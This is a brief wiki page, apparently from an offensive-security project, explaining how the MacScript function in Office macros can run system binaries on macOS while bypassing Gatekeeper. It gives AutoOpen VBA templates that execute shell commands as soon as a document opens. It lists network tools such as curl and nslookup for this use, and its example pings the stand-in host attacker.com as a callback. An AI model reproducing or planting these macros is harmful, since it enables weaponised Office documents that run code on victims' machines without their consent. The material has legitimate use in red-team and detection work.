Skip to content

Macscript

Paulino Calderon edited this page Sep 12, 2017 · 2 revisions

The function Macscript can be leveraged to execute third party code bypassing Gatekeeper

To execute system binaries:

Sub AutoOpen()
  MacScript ("do shell script ""<binary>"" ") 
End Sub 

For example, we can call network utilities or programming language interpreters such as:

  • ping
  • nslookup
  • dig
  • curl

Note that not all binaries are permitted.

Sub AutoOpen() 
   MacScript ("do shell script ""ping -c 1 attacker.com"" ") 
End Sub 

Clone this wiki locally